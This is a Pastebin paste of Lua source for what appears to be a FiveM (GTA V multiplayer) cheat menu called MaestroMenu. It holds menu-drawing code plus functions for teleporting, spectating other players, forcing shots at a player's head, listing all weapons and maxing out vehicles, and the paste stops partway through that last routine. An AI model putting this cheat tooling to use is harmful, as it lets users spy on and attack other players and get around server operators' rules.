KrystekYY

Untitled

Feb 14th, 2020
45
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. print 'hello u here to disconnect eh? -Cat'
  2. MaestroMenu = {}
  3.  
  4. MaestroMenu.debug = false
  5.  
  6. local function RGBRainbow(frequency)
  7. local result = {}
  8. local curtime = GetGameTimer() / 1000
  9.  
  10. result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
  11. result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
  12. result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)
  13.  
  14. return result
  15. end
  16.  
  17. local menus = {}
  18. local keys = {up = 172, down = 173, left = 174, right = 175, select = 176, back = 177}
  19. local optionCount = 0
  20.  
  21. local currentKey = nil
  22. local currentMenu = nil
  23.  
  24. local menuWidth = 0.23
  25. local titleHeight = 0.20
  26. local titleYOffset = 0.05
  27. local titleScale = 1.3
  28.  
  29. local buttonHeight = 0.038
  30. local buttonFont = 7
  31. local buttonScale = 0.365
  32. local buttonTextXOffset = 0.005
  33. local buttonTextYOffset = 0.005
  34.  
  35. local function debugPrint(text)
  36. if MaestroMenu.debug then
  37. Citizen.Trace("[TMmenu] " .. tostring(text))
  38. end
  39. end
  40.  
  41. local function setMenuProperty(id, property, value)
  42. if id and menus[id] then
  43. menus[id][property] = value
  44. debugPrint(id .. " menu property changed: { " .. tostring(property) .. ", " .. tostring(value) .. " }")
  45. end
  46. end
  47.  
  48. local function isMenuVisible(id)
  49. if id and menus[id] then
  50. return menus[id].visible
  51. else
  52. return false
  53. end
  54. end
  55.  
  56. local function setMenuVisible(id, visible, holdCurrent)
  57. if id and menus[id] then
  58. setMenuProperty(id, "visible", visible)
  59.  
  60. if not holdCurrent and menus[id] then
  61. setMenuProperty(id, "currentOption", 1)
  62. end
  63.  
  64. if visible then
  65. if id ~= currentMenu and isMenuVisible(currentMenu) then
  66. setMenuVisible(currentMenu, false)
  67. end
  68.  
  69. currentMenu = id
  70. end
  71. end
  72. end
  73.  
  74. local function drawText(text, x, y, font, color, scale, center, shadow, alignRight)
  75. SetTextColour(color.r, color.g, color.b, color.a)
  76. SetTextFont(font)
  77. SetTextScale(scale, scale)
  78.  
  79. if shadow then
  80. SetTextDropShadow(2, 2, 0, 0, 0)
  81. end
  82.  
  83. if menus[currentMenu] then
  84. if center then
  85. SetTextCentre(center)
  86. elseif alignRight then
  87. SetTextWrap(menus[currentMenu].x, menus[currentMenu].x + menuWidth - buttonTextXOffset)
  88. SetTextRightJustify(true)
  89. end
  90. end
  91. SetTextEntry("STRING")
  92. AddTextComponentString(text)
  93. DrawText(x, y)
  94. end
  95.  
  96. local function drawRect(x, y, width, height, color)
  97. DrawRect(x, y, width, height, color.r, color.g, color.b, color.a)
  98. end
  99.  
  100. local function drawTitle()
  101. if menus[currentMenu] then
  102. local x = menus[currentMenu].x + menuWidth / 2
  103. local y = menus[currentMenu].y + titleHeight / 1.15
  104.  
  105. if menus[currentMenu].titleBackgroundSprite then
  106. DrawSprite(
  107. menus[currentMenu].titleBackgroundSprite.dict,
  108. menus[currentMenu].titleBackgroundSprite.name,
  109. x,
  110. y,
  111. menuWidth,
  112. titleHeight,
  113. 0.,
  114. 255,
  115. 255,
  116. 255,
  117. 255
  118. )
  119. else
  120. drawRect(x, y, menuWidth, titleHeight, menus[currentMenu].titleBackgroundColor)
  121. end
  122.  
  123. drawText(
  124. menus[currentMenu].title,
  125. x,
  126. y - titleHeight / 2 + titleYOffset,
  127. menus[currentMenu].titleFont,
  128. menus[currentMenu].titleColor,
  129. titleScale,
  130. true
  131. )
  132. end
  133. end
  134.  
  135. local function drawSubTitle()
  136. if menus[currentMenu] then
  137. local x = menus[currentMenu].x + menuWidth / 2
  138. local y = menus[currentMenu].y + titleHeight + buttonHeight / 2
  139.  
  140. local subTitleColor = {
  141. r = menus[currentMenu].titleBackgroundColor.r,
  142. g = menus[currentMenu].titleBackgroundColor.g,
  143. b = menus[currentMenu].titleBackgroundColor.b,
  144. a = 255
  145. }
  146.  
  147. drawRect(x, y, menuWidth, buttonHeight, menus[currentMenu].subTitleBackgroundColor)
  148. drawText(
  149. menus[currentMenu].subTitle,
  150. menus[currentMenu].x + buttonTextXOffset,
  151. y - buttonHeight / 2 + buttonTextYOffset,
  152. buttonFont,
  153. subTitleColor,
  154. buttonScale,
  155. false
  156. )
  157.  
  158. if optionCount > menus[currentMenu].maxOptionCount then
  159. drawText(
  160. tostring(menus[currentMenu].currentOption) .. " / " .. tostring(optionCount),
  161. menus[currentMenu].x + menuWidth,
  162. y - buttonHeight / 2 + buttonTextYOffset,
  163. buttonFont,
  164. subTitleColor,
  165. buttonScale,
  166. false,
  167. false,
  168. true
  169. )
  170. end
  171. end
  172. end
  173.  
  174. local function drawButton(text, subText)
  175. local x = menus[currentMenu].x + menuWidth / 2
  176. local multiplier = nil
  177.  
  178. if
  179. menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount and
  180. optionCount <= menus[currentMenu].maxOptionCount
  181. then
  182. multiplier = optionCount
  183. elseif
  184. optionCount > menus[currentMenu].currentOption - menus[currentMenu].maxOptionCount and
  185. optionCount <= menus[currentMenu].currentOption
  186. then
  187. multiplier = optionCount - (menus[currentMenu].currentOption - menus[currentMenu].maxOptionCount)
  188. end
  189.  
  190. if multiplier then
  191. local y = menus[currentMenu].y + titleHeight + buttonHeight + (buttonHeight * multiplier) - buttonHeight / 2
  192. local backgroundColor = nil
  193. local textColor = nil
  194. local subTextColor = nil
  195. local shadow = false
  196.  
  197. if menus[currentMenu].currentOption == optionCount then
  198. backgroundColor = menus[currentMenu].menuFocusBackgroundColor
  199. textColor = menus[currentMenu].menuFocusTextColor
  200. subTextColor = menus[currentMenu].menuFocusTextColor
  201. else
  202. backgroundColor = menus[currentMenu].menuBackgroundColor
  203. textColor = menus[currentMenu].menuTextColor
  204. subTextColor = menus[currentMenu].menuSubTextColor
  205. shadow = true
  206. end
  207.  
  208. drawRect(x, y, menuWidth, buttonHeight, backgroundColor)
  209. drawText(
  210. text,
  211. menus[currentMenu].x + buttonTextXOffset,
  212. y - (buttonHeight / 2) + buttonTextYOffset,
  213. buttonFont,
  214. textColor,
  215. buttonScale,
  216. false,
  217. shadow
  218. )
  219.  
  220. if subText then
  221. drawText(
  222. subText,
  223. menus[currentMenu].x + buttonTextXOffset,
  224. y - buttonHeight / 2 + buttonTextYOffset,
  225. buttonFont,
  226. subTextColor,
  227. buttonScale,
  228. false,
  229. shadow,
  230. true
  231. )
  232. end
  233. end
  234. end
  235.  
  236. function MaestroMenu.CreateMenu(id, title)
  237. -- Default settings
  238. menus[id] = {}
  239. menus[id].title = title
  240. menus[id].subTitle = "INTERACTION MENU"
  241.  
  242. menus[id].visible = false
  243.  
  244. menus[id].previousMenu = nil
  245.  
  246. menus[id].aboutToBeClosed = false
  247.  
  248. menus[id].x = 0.75
  249. menus[id].y = 0.1
  250.  
  251. menus[id].currentOption = 1
  252. menus[id].maxOptionCount = 11
  253. menus[id].titleFont = 7
  254. menus[id].titleColor = {r = 0, g = 0, b = 0, a = 255}
  255. Citizen.CreateThread(
  256. function()
  257. while true do
  258. Citizen.Wait(0)
  259. local ra = RGBRainbow(1.0)-- RGB MENU DISABLED //
  260. --menus[id].titleBackgroundColor = {r = ra.r, g = ra.g, b = ra.b, a = 80} --RGB MENU DISABLED // - Culoare titlu
  261. --menus[id].menuFocusBackgroundColor = {r = ra.r, g = ra.g, b = ra.b, a = 255} --RGB MENU DISABLED // - Culoare meniu
  262. menus[id].titleBackgroundColor = {r = 0, g = 0, b = 0, a = 0}
  263. menus[id].menuFocusBackgroundColor = {r = 120, g = 0, b = 120, a = 120}
  264. end
  265. end)
  266. menus[id].titleBackgroundSprite = nil
  267.  
  268. menus[id].menuTextColor = {r = 255, g = 255, b = 255, a = 255}
  269. menus[id].menuSubTextColor = {r = 255, g = 255, b = 255, a = 255}
  270. menus[id].menuFocusTextColor = {r = 255, g = 255, b = 255, a = 255}
  271. --menus[id].menuFocusBackgroundColor = { r = 0, g = 0, b = 0, a = 200 }
  272. menus[id].menuBackgroundColor = {r = 0, g = 0, b = 0, a = 200}
  273.  
  274. menus[id].subTitleBackgroundColor = {
  275. r = menus[id].menuBackgroundColor.r,
  276. g = menus[id].menuBackgroundColor.g,
  277. b = menus[id].menuBackgroundColor.b,
  278. a = 200
  279. }
  280.  
  281. menus[id].buttonPressedSound = {name = "Pin_Good", set = "DLC_HEIST_BIOLAB_PREP_HACKING_SOUNDS"} --https://pastebin.com/0neZdsZ5
  282.  
  283. debugPrint(tostring(id) .. " menu created")
  284. end
  285.  
  286. function MaestroMenu.CreateSubMenu(id, parent, subTitle)
  287. if menus[parent] then
  288. MaestroMenu.CreateMenu(id, menus[parent].title)
  289.  
  290. if subTitle then
  291. setMenuProperty(id, "subTitle", string.upper(subTitle))
  292. else
  293. setMenuProperty(id, "subTitle", string.upper(menus[parent].subTitle))
  294. end
  295.  
  296. setMenuProperty(id, "previousMenu", parent)
  297.  
  298. setMenuProperty(id, "x", menus[parent].x)
  299. setMenuProperty(id, "y", menus[parent].y)
  300. setMenuProperty(id, "maxOptionCount", menus[parent].maxOptionCount)
  301. setMenuProperty(id, "titleFont", menus[parent].titleFont)
  302. setMenuProperty(id, "titleColor", menus[parent].titleColor)
  303. setMenuProperty(id, "titleBackgroundColor", menus[parent].titleBackgroundColor)
  304. setMenuProperty(id, "titleBackgroundSprite", menus[parent].titleBackgroundSprite)
  305. setMenuProperty(id, "menuTextColor", menus[parent].menuTextColor)
  306. setMenuProperty(id, "menuSubTextColor", menus[parent].menuSubTextColor)
  307. setMenuProperty(id, "menuFocusTextColor", menus[parent].menuFocusTextColor)
  308. setMenuProperty(id, "menuFocusBackgroundColor", menus[parent].menuFocusBackgroundColor)
  309. setMenuProperty(id, "menuBackgroundColor", menus[parent].menuBackgroundColor)
  310. setMenuProperty(id, "subTitleBackgroundColor", menus[parent].subTitleBackgroundColor)
  311. else
  312. debugPrint("Failed to create " .. tostring(id) .. " submenu: " .. tostring(parent) .. " parent menu doesn't exist")
  313. end
  314. end
  315.  
  316. function MaestroMenu.CurrentMenu()
  317. return currentMenu
  318. end
  319.  
  320. function MaestroMenu.OpenMenu(id)
  321. if id and menus[id] then
  322. PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  323. setMenuVisible(id, true)
  324.  
  325. if menus[id].titleBackgroundSprite then
  326. RequestStreamedTextureDict(menus[id].titleBackgroundSprite.dict, false)
  327. while not HasStreamedTextureDictLoaded(menus[id].titleBackgroundSprite.dict) do
  328. Citizen.Wait(0)
  329. end
  330. end
  331.  
  332. debugPrint(tostring(id) .. " menu opened")
  333. else
  334. debugPrint("Failed to open " .. tostring(id) .. " menu: it doesn't exist")
  335. end
  336. end
  337.  
  338. function MaestroMenu.IsMenuOpened(id)
  339. return isMenuVisible(id)
  340. end
  341.  
  342. function MaestroMenu.IsAnyMenuOpened()
  343. for id, _ in pairs(menus) do
  344. if isMenuVisible(id) then
  345. return true
  346. end
  347. end
  348.  
  349. return false
  350. end
  351.  
  352. function MaestroMenu.IsMenuAboutToBeClosed()
  353. if menus[currentMenu] then
  354. return menus[currentMenu].aboutToBeClosed
  355. else
  356. return false
  357. end
  358. end
  359.  
  360. function MaestroMenu.CloseMenu()
  361. if menus[currentMenu] then
  362. if menus[currentMenu].aboutToBeClosed then
  363. menus[currentMenu].aboutToBeClosed = false
  364. setMenuVisible(currentMenu, false)
  365. debugPrint(tostring(currentMenu) .. " menu closed")
  366. PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
  367. optionCount = 0
  368. currentMenu = nil
  369. currentKey = nil
  370. else
  371. menus[currentMenu].aboutToBeClosed = true
  372. debugPrint(tostring(currentMenu) .. " menu about to be closed")
  373. end
  374. end
  375. end
  376.  
  377. function MaestroMenu.Button(text, subText)
  378. local buttonText = text
  379. if subText then
  380. buttonText = "{ " .. tostring(buttonText) .. ", " .. tostring(subText) .. " }"
  381. end
  382.  
  383. if menus[currentMenu] then
  384. optionCount = optionCount + 1
  385.  
  386. local isCurrent = menus[currentMenu].currentOption == optionCount
  387.  
  388. drawButton(text, subText)
  389.  
  390. if isCurrent then
  391. if currentKey == keys.select then
  392. PlaySoundFrontend(-1, menus[currentMenu].buttonPressedSound.name, menus[currentMenu].buttonPressedSound.set, true)
  393. debugPrint(buttonText .. " button pressed")
  394. return true
  395. elseif currentKey == keys.left or currentKey == keys.right then
  396. PlaySoundFrontend(-1, "NAV_UP_DOWN", "ATM_SOUNDS", true)
  397. end
  398. end
  399.  
  400. return false
  401. else
  402. debugPrint("Failed to create " .. buttonText .. " button: " .. tostring(currentMenu) .. " menu doesn't exist")
  403.  
  404. return false
  405. end
  406. end
  407.  
  408. function MaestroMenu.MenuButton(text, id)
  409. if menus[id] then
  410. if MaestroMenu.Button(text) then
  411. setMenuVisible(currentMenu, false)
  412. setMenuVisible(id, true, true)
  413.  
  414. return true
  415. end
  416. else
  417. debugPrint("Failed to create " .. tostring(text) .. " menu button: " .. tostring(id) .. " submenu doesn't exist")
  418. end
  419.  
  420. return false
  421. end
  422.  
  423. function MaestroMenu.CheckBox(text, bool, callback)
  424. local checked = "~r~Off"
  425. if bool then
  426. checked = "~g~On"
  427. end
  428.  
  429. if MaestroMenu.Button(text, checked) then
  430. bool = not bool
  431. debugPrint(tostring(text) .. " checkbox changed to " .. tostring(bool))
  432. callback(bool)
  433.  
  434. return true
  435. end
  436.  
  437. return false
  438. end
  439.  
  440. function MaestroMenu.ComboBox(text, items, currentIndex, selectedIndex, callback)
  441. local itemsCount = #items
  442. local selectedItem = items[currentIndex]
  443. local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)
  444.  
  445. if itemsCount > 1 and isCurrent then
  446. selectedItem = "← " .. tostring(selectedItem) .. " →"
  447. end
  448.  
  449. if MaestroMenu.Button(text, selectedItem) then
  450. selectedIndex = currentIndex
  451. callback(currentIndex, selectedIndex)
  452. return true
  453. elseif isCurrent then
  454. if currentKey == keys.left then
  455. if currentIndex > 1 then
  456. currentIndex = currentIndex - 1
  457. else
  458. currentIndex = itemsCount
  459. end
  460. elseif currentKey == keys.right then
  461. if currentIndex < itemsCount then
  462. currentIndex = currentIndex + 1
  463. else
  464. currentIndex = 1
  465. end
  466. end
  467. else
  468. currentIndex = selectedIndex
  469. end
  470.  
  471. callback(currentIndex, selectedIndex)
  472. return false
  473. end
  474.  
  475. function MaestroMenu.Display()
  476. if isMenuVisible(currentMenu) then
  477. if menus[currentMenu].aboutToBeClosed then
  478. MaestroMenu.CloseMenu()
  479. else
  480. ClearAllHelpMessages()
  481.  
  482. drawTitle()
  483. drawSubTitle()
  484.  
  485. currentKey = nil
  486.  
  487. if IsDisabledControlJustPressed(0, keys.down) then
  488. PlaySoundFrontend(-1, "PIN_BUTTON", "ATM_SOUNDS", true) --down
  489.  
  490. if menus[currentMenu].currentOption < optionCount then
  491. menus[currentMenu].currentOption = menus[currentMenu].currentOption + 1
  492. else
  493. menus[currentMenu].currentOption = 1
  494. end
  495. elseif IsDisabledControlJustPressed(0, keys.up) then
  496. PlaySoundFrontend(-1, "PIN_BUTTON", "ATM_SOUNDS", true) --up
  497.  
  498. if menus[currentMenu].currentOption > 1 then
  499. menus[currentMenu].currentOption = menus[currentMenu].currentOption - 1
  500. else
  501. menus[currentMenu].currentOption = optionCount
  502. end
  503. elseif IsDisabledControlJustPressed(0, keys.left) then
  504. currentKey = keys.left
  505. elseif IsDisabledControlJustPressed(0, keys.right) then
  506. currentKey = keys.right
  507. elseif IsDisabledControlJustPressed(0, keys.select) then
  508. currentKey = keys.select
  509. elseif IsDisabledControlJustPressed(0, keys.back) then
  510. if menus[menus[currentMenu].previousMenu] then
  511. PlaySoundFrontend(-1, "Pin_Bad", "DLC_HEIST_BIOLAB_PREP_HACKING_SOUNDS", true) --back
  512. setMenuVisible(menus[currentMenu].previousMenu, true)
  513. else
  514. MaestroMenu.CloseMenu()
  515. end
  516. end
  517.  
  518. optionCount = 0
  519. end
  520. end
  521. end
  522.  
  523. function MaestroMenu.SetMenuWidth(id, width)
  524. setMenuProperty(id, "width", width)
  525. end
  526.  
  527. function MaestroMenu.SetMenuX(id, x)
  528. setMenuProperty(id, "x", x)
  529. end
  530.  
  531. function MaestroMenu.SetMenuY(id, y)
  532. setMenuProperty(id, "y", y)
  533. end
  534.  
  535. function MaestroMenu.SetMenuMaxOptionCountOnScreen(id, count)
  536. setMenuProperty(id, "maxOptionCount", count)
  537. end
  538.  
  539. function MaestroMenu.SetTitleColor(id, r, g, b, a)
  540. setMenuProperty(id, "titleColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].titleColor.a})
  541. end
  542.  
  543. function MaestroMenu.SetTitleBackgroundColor(id, r, g, b, a)
  544. setMenuProperty(
  545. id,
  546. "titleBackgroundColor",
  547. {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].titleBackgroundColor.a}
  548. )
  549. end
  550.  
  551. function MaestroMenu.SetTitleBackgroundSprite(id, textureDict, textureName)
  552. setMenuProperty(id, "titleBackgroundSprite", {dict = textureDict, name = textureName})
  553. end
  554.  
  555. function MaestroMenu.SetSubTitle(id, text)
  556. setMenuProperty(id, "subTitle", string.upper(text))
  557. end
  558.  
  559. function MaestroMenu.SetMenuBackgroundColor(id, r, g, b, a)
  560. setMenuProperty(
  561. id,
  562. "menuBackgroundColor",
  563. {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuBackgroundColor.a}
  564. )
  565. end
  566.  
  567. function MaestroMenu.SetMenuTextColor(id, r, g, b, a)
  568. setMenuProperty(id, "menuTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuTextColor.a})
  569. end
  570.  
  571. function MaestroMenu.SetMenuSubTextColor(id, r, g, b, a)
  572. setMenuProperty(id, "menuSubTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuSubTextColor.a})
  573. end
  574.  
  575. function MaestroMenu.SetMenuFocusColor(id, r, g, b, a)
  576. setMenuProperty(id, "menuFocusColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or menus[id].menuFocusColor.a})
  577. end
  578.  
  579. function MaestroMenu.SetMenuButtonPressedSound(id, name, set)
  580. setMenuProperty(id, "buttonPressedSound", {["name"] = name, ["set"] = set})
  581. end
  582.  
  583. function KeyboardInput(TextEntry, ExampleText, MaxStringLength)
  584. AddTextEntry("FMMC_KEY_TIP1", TextEntry .. ":")
  585. DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP1", "", ExampleText, "", "", "", MaxStringLength)
  586. blockinput = true
  587.  
  588. while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
  589. Citizen.Wait(0)
  590. end
  591.  
  592. if UpdateOnscreenKeyboard() ~= 2 then
  593. local result = GetOnscreenKeyboardResult()
  594. Citizen.Wait(500)
  595. blockinput = false
  596. return result
  597. else
  598. Citizen.Wait(500)
  599. blockinput = false
  600. return nil
  601. end
  602. end
  603.  
  604. local function getPlayerIds()
  605. local players = {}
  606. for i = 0, GetNumberOfPlayers() do
  607. if NetworkIsPlayerActive(i) then
  608. players[#players + 1] = i
  609. end
  610. end
  611. return players
  612. end
  613.  
  614.  
  615. function DrawText3D(x, y, z, text, r, g, b)
  616. SetDrawOrigin(x, y, z, 0)
  617. SetTextFont(0)
  618. SetTextProportional(0)
  619. SetTextScale(0.0, 0.20)
  620. SetTextColour(r, g, b, 255)
  621. SetTextDropshadow(0, 0, 0, 0, 255)
  622. SetTextEdge(2, 0, 0, 0, 150)
  623. SetTextDropShadow()
  624. SetTextOutline()
  625. SetTextEntry("STRING")
  626. SetTextCentre(1)
  627. AddTextComponentString(text)
  628. DrawText(0.0, 0.0)
  629. ClearDrawOrigin()
  630. end
  631.  
  632. function math.round(num, numDecimalPlaces)
  633. return tonumber(string.format("%." .. (numDecimalPlaces or 0) .. "f", num))
  634. end
  635.  
  636. local function RGBRainbow(frequency)
  637. local result = {}
  638. local curtime = GetGameTimer() / 1000
  639.  
  640. result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
  641. result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
  642. result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)
  643.  
  644. return result
  645. end
  646.  
  647. function drawNotification(text)
  648. SetNotificationTextEntry("STRING")
  649. AddTextComponentString(text)
  650. DrawNotification(false, false)
  651. end
  652.  
  653.  
  654.  
  655. local allWeapons = {
  656. "WEAPON_KNIFE",
  657. "WEAPON_KNUCKLE",
  658. "WEAPON_NIGHTSTICK",
  659. "WEAPON_HAMMER",
  660. "WEAPON_BAT",
  661. "WEAPON_GOLFCLUB",
  662. "WEAPON_CROWBAR",
  663. "WEAPON_BOTTLE",
  664. "WEAPON_DAGGER",
  665. "WEAPON_HATCHET",
  666. "WEAPON_MACHETE",
  667. "WEAPON_FLASHLIGHT",
  668. "WEAPON_SWITCHBLADE",
  669. "WEAPON_PISTOL",
  670. "WEAPON_PISTOL_MK2",
  671. "WEAPON_COMBATPISTOL",
  672. "WEAPON_APPISTOL",
  673. "WEAPON_PISTOL50",
  674. "WEAPON_SNSPISTOL",
  675. "WEAPON_HEAVYPISTOL",
  676. "WEAPON_VINTAGEPISTOL",
  677. "WEAPON_STUNGUN",
  678. "WEAPON_FLAREGUN",
  679. "WEAPON_MARKSMANPISTOL",
  680. "WEAPON_REVOLVER",
  681. "WEAPON_MICROSMG",
  682. "WEAPON_SMG",
  683. "WEAPON_SMG_MK2",
  684. "WEAPON_ASSAULTSMG",
  685. "WEAPON_MG",
  686. "WEAPON_COMBATMG",
  687. "WEAPON_COMBATMG_MK2",
  688. "WEAPON_COMBATPDW",
  689. "WEAPON_GUSENBERG",
  690. "WEAPON_MACHINEPISTOL",
  691. "WEAPON_ASSAULTRIFLE",
  692. "WEAPON_ASSAULTRIFLE_MK2",
  693. "WEAPON_CARBINERIFLE",
  694. "WEAPON_CARBINERIFLE_MK2",
  695. "WEAPON_ADVANCEDRIFLE",
  696. "WEAPON_SPECIALCARBINE",
  697. "WEAPON_BULLPUPRIFLE",
  698. "WEAPON_COMPACTRIFLE",
  699. "WEAPON_PUMPSHOTGUN",
  700. "WEAPON_SAWNOFFSHOTGUN",
  701. "WEAPON_BULLPUPSHOTGUN",
  702. "WEAPON_ASSAULTSHOTGUN",
  703. "WEAPON_MUSKET",
  704. "WEAPON_HEAVYSHOTGUN",
  705. "WEAPON_DBSHOTGUN",
  706. "WEAPON_SNIPERRIFLE",
  707. "WEAPON_HEAVYSNIPER",
  708. "WEAPON_HEAVYSNIPER_MK2",
  709. "WEAPON_MARKSMANRIFLE",
  710. "WEAPON_GRENADELAUNCHER",
  711. "WEAPON_GRENADELAUNCHER_SMOKE",
  712. "WEAPON_RPG",
  713. "WEAPON_STINGER",
  714. "WEAPON_FIREWORK",
  715. "WEAPON_HOMINGLAUNCHER",
  716. "WEAPON_GRENADE",
  717. "WEAPON_STICKYBOMB",
  718. "WEAPON_PROXMINE",
  719. "WEAPON_BZGAS",
  720. "WEAPON_SMOKEGRENADE",
  721. "WEAPON_MOLOTOV",
  722. "WEAPON_FIREEXTINGUISHER",
  723. "WEAPON_PETROLCAN",
  724. "WEAPON_SNOWBALL",
  725. "WEAPON_FLARE",
  726. "WEAPON_BALL"
  727. }
  728.  
  729. local Enabled = true
  730.  
  731. local function TeleportToWaypoint()
  732. if DoesBlipExist(GetFirstBlipInfoId(8)) then
  733. local blipIterator = GetBlipInfoIdIterator(8)
  734. local blip = GetFirstBlipInfoId(8, blipIterator)
  735. WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip, Citizen.ResultAsVector()) --Thanks To Briglair [forum.FiveM.net]
  736. wp = true
  737. else
  738. drawNotification("~r~No waypoint!")
  739. end
  740.  
  741. local zHeigt = 0.0
  742. height = 1000.0
  743. while true do
  744. Citizen.Wait(0)
  745. if wp then
  746. if
  747. IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
  748. (GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1))
  749. then
  750. entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
  751. else
  752. entity = GetPlayerPed(-1)
  753. end
  754.  
  755. SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
  756. FreezeEntityPosition(entity, true)
  757. local Pos = GetEntityCoords(entity, true)
  758.  
  759. if zHeigt == 0.0 then
  760. height = height - 25.0
  761. SetEntityCoords(entity, Pos.x, Pos.y, height)
  762. bool, zHeigt = GetGroundZFor_3dCoord(Pos.x, Pos.y, Pos.z, 0)
  763. else
  764. SetEntityCoords(entity, Pos.x, Pos.y, zHeigt)
  765. FreezeEntityPosition(entity, false)
  766. wp = false
  767. height = 1000.0
  768. zHeigt = 0.0
  769. drawNotification("~g~Teleported to waypoint!")
  770. break
  771. end
  772. end
  773. end
  774. end
  775.  
  776. function stringsplit(inputstr, sep)
  777. if sep == nil then
  778. sep = "%s"
  779. end
  780. local t = {}
  781. i = 1
  782. for str in string.gmatch(inputstr, "([^" .. sep .. "]+)") do
  783. t[i] = str
  784. i = i + 1
  785. end
  786. return t
  787. end
  788.  
  789. local Spectating = false
  790.  
  791. function SpectatePlayer(player)
  792. local playerPed = PlayerPedId()
  793. Spectating = not Spectating
  794. local targetPed = GetPlayerPed(player)
  795.  
  796. if (Spectating) then
  797. local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
  798.  
  799. RequestCollisionAtCoord(targetx, targety, targetz)
  800. NetworkSetInSpectatorMode(true, targetPed)
  801.  
  802. drawNotification("Spectating " .. GetPlayerName(player))
  803. else
  804. local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
  805.  
  806. RequestCollisionAtCoord(targetx, targety, targetz)
  807. NetworkSetInSpectatorMode(false, targetPed)
  808.  
  809. drawNotification("Stopped Spectating " .. GetPlayerName(player))
  810. end
  811. end
  812.  
  813. function ShootPlayer(player)
  814. local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player, "SKEL_HEAD"), 0.0, 0.0, 0.0)
  815. SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
  816. end
  817.  
  818. function CaPl() local ax = GetPlayerPed(-1) local ay = GetVehiclePedIsIn(ax, true) local m = KeyboardInput("Enter license plate you want", "", 100) if m ~= ""
  819. then SetVehicleNumberPlateText(ay, m) end end;
  820.  
  821. function MaxOut(veh)
  822. SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  823. SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
  824. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
  825. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
  826. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
  827. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
  828. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
  829. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
  830. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
  831. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
  832. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
  833. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
  834. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
  835. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
  836. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
  837. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
  838. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
  839. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
